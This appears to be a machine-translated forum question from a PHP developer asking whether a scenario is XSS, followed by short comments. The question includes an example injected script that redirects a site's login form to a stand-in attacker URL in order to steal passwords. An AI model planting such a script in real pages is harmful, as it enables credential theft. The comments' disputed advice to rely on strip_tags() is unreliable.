我是一名PHP開發人員,我正在尋求提高我的網站的安全性。用戶輸入的HTML顯示給其他人,但沒有HTML轉義的HTML示例的XSS
從我的理解,以下是兩種主要類型的漏洞影響Web應用程序:
- SQL注入
- XSS
SQL注入可以固定和預處理語句 - 易。
但我仍然沒有真正得到XSS - ?是以下XSS的例子...
- 整版的用戶自制內容的頂部有一個登錄表單(站點範圍) 。
- 用戶輸入的頁面不是HTML轉義的。
- 用戶帖子下面的內容(例如,評論)的網頁...
A really nice comment
<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
$('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
- 一個無辜的用戶來到該頁面時,腳本執行。
- 無辜的用戶意識到他們沒有登錄,並將他們的詳細信息輸入到表單中。
- 用戶的詳細信息被髮送到
http://somehackysite.com/givemyourpw.php
,然後用戶的帳戶詳細信息被盜。
所以,我真的在這裏有三個問題:
- 將這項工作?
- 這是XSS嗎?
- 除了轉義HTML以外,開發人員是否應該採取任何預防措施防禦XSS?
1)是的。 2)是的。 3)是的。 ['strip_tags()'](http://php.net/manual/en/function.strip-tags.php)是一個好的開始。 – DaveRandom
@DaveRandom 3)不,strip_tags是邪惡的,從不使用它。決不! – NikiC
@NikiC爲什麼它是邪惡的? –